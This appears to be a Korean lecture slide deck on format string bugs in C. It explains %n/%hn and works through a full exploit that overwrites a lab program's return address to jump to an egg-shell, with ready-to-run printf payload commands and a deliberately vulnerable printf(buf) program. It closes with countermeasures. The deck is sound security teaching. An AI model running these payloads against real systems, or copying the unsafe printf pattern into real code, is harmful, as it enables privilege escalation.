Chapter 9 Format String Bug (FSB)
contents 1. Format String (FS)에 대한 이해. 2. FSB를 이용한 공격수행.
Format String에 대한 이해 Format String Bug (FSB) Format String ? - C언어에서 일반적으로 Data(변수)를 입.출력문에서 일정한 형태로 받아들이거나 출력하기 위하여 사용하는 기호. Bug ? - 일반적으로 컴퓨터 기술분야에서는 기술적인 오류(Error)등을 지칭. Format String Bug 공격? - 출력문에서 올바르지 못한 방법을 악용하여 크래커들이 실제 메모리 번지를 공격하여 원하는 값으로 변경하거나 시스템의 루트(ROOT) 권한을 획득.
Format String에 대한 이해 C언어에서 일반적으로 Data(변수)를 입출력문에서 일정한 형태로 받아들이거나 출력하기 위하여 사용하는 기호. Ex) %d, %f, %c, %s, %x, %p ... - Format string 종류 파라미터(Parameter) 변수 형식 %d 정수형 10진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double) %c 문자 값 (char) %s 문자 스트링 ((const)(unsigned) char *) %u 양의 정수 (10 진수) %o 양의 정수 (8 진수) %x 양의 정수 (16 진수) 문자열 %n * int (쓰인 총 바이트 수) %hn %n의 반인 2바이트 단위
Format String에 대한 이해 Format String의 사용 wishfree 문자열이 위치한 다음주소번지 올바른 포맷 스트링 함수 사용법 잘못된 포맷 스트링 함수 사용법 #include <stdio.h> void main(void){ char *buffer = “wishfree”; printf("%s\n", buffer); } #include <stdio.h> void main(void){ char *buffer = “wishfree\n%x\n”; printf(buffer); } wishfree 문자열이 위치한 다음주소번지
Format String에 대한 이해 #include <stdio.h> void main(void){ char *buffer = “wishfree\n%x\n”; printf(buffer); } %x %x %x 와 같은식으로 ‘%x’ 문자열을 … 여러 개를 입력한다면? BOF (Buffer Overflow) 공격에서 dumpcode 함수와 같이 메모리의 내용을 출력해 볼 수 있을것 !!
Format String에 대한 이해 %n 을 이용하면 메모리의 내용도 변조 가능. %n 은 Format String Bug에서 핵심. %n 은 이전까지 입력되었는 문자열의 길이(Byte)수 만큼 해당변수에 저장시킴. ex) printf(“AAA AA%n”,&변수); -> 변수 = 6 (공백까지 포함)
Format String에 대한 이해 %n 연산자의 역할
Format String에 대한 이해 사용자 입력으로 메모리의 구조를 파악 #include <stdio.h> #include “dumpcode.h” Void main(){ char buffer[64]; fgets(buffer, 63, stdin); printf(buffer); dumpcode((char*)buffer, 100); } 사용자 입력으로 메모리의 구조를 파악
그렇다면 특정번지에 값을 넣는 방법?? … 0xbffffd50 A 0xbffffd4F 0xbffffd4E 0xbffffd4D Format String에 대한 이해 … 0xbffffd50 A 0xbffffd4F 0xbffffd4E 0xbffffd4D 0xbffffd4C 0xbffffd4B 0xbffffd4A 0xbffffd49 0xbffffd48 [ 메모리의 구조 ] 그렇다면 특정번지에 값을 넣는 방법??
Format String에 대한 이해 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6 주소는 4Byte로 구성되어 있으며 앞에서부터 작은값이 쓰여지게 된다.
RET (0xbffffabc) Format String에 대한 이해 0xbfabfabc 0xbfabfabc(16) = 3221224124(10) => RET에 대입불가! 0xbfab / 0xfabc => %hn 으로 2byte씩 나눔
Format String에 대한 이해 %hn 의 예 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. %hn 의 예 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6
Format String에 대한 이해 큰 수 나누어 넣기 (printf “\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn”; cat) | ./test6 0xbfab / 0xfabc 등의 값을 넣기 위해서는 공백을 이용 1) 0xfabc = 64188(10) 64188 - 8 = %64180d 2) 0xbfab = 49067(10) Stack에서 주소가 bf로 시작되는 값은 ‘ - ’를 의미 ‘ - ’ 기호는 주소값 앞에는 보이지 않지만 1이 생략되어 있음. 0x1bfabfabc = -1079248196 0xfabc = 64188 - 8 = %64180d 0x1bfab = 114603 - 64180 = %50423d
Format String에 대한 이해 0xfabc = 64188 - 16 = %64172d %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6 0xfabc = 64188 - 16 = %64172d 0x1bfab = 114603 - (64172+16) = %50415d
Format String에 대한 이해 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6
FSB를 이용한 공격수행 bugfile.c #include <stdio.h> main(){ int i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); printf(buf); }
FSB를 이용한 공격수행
FSB를 이용한 공격수행 Egg shell을 이용한 주소값 bugfile의 RET주소 (0xbffff36c ~ 0xbffff36e)에 egg shell에서 확보한 0xbffffd58을 입력 0xbffffd58 을 2 byte씩 나눔 fd58 = 64856 / 1bfff = 114687 0xfd58 = 64856 - 16 = %64840d 0x1bfff = 114687 - (64840+16) = %49831d
FSB를 이용한 공격수행 실 제 공 격 (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf \x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile
FSB 공격에 대한 대응책 포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면, 문제가 생기지 않는다. 주요 취약 함수 printf("%s\n", buffer); fprintf (fp, 서식문자열, 인자1, ... , 인자N) // fp는 파일에 대한 포인터 값, fopen()로 파일을 쓰기모드로 개방 int sprintf (char *str, const char *fmt,...) // printf(“ “, (sprintf 문자열의 시작주소를 가지는 변수)); snprintf (char *str, size_t count, const char *fmt,...) //원하는 개수만큼 출력 유닉스 Sysem V에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf
Thank you.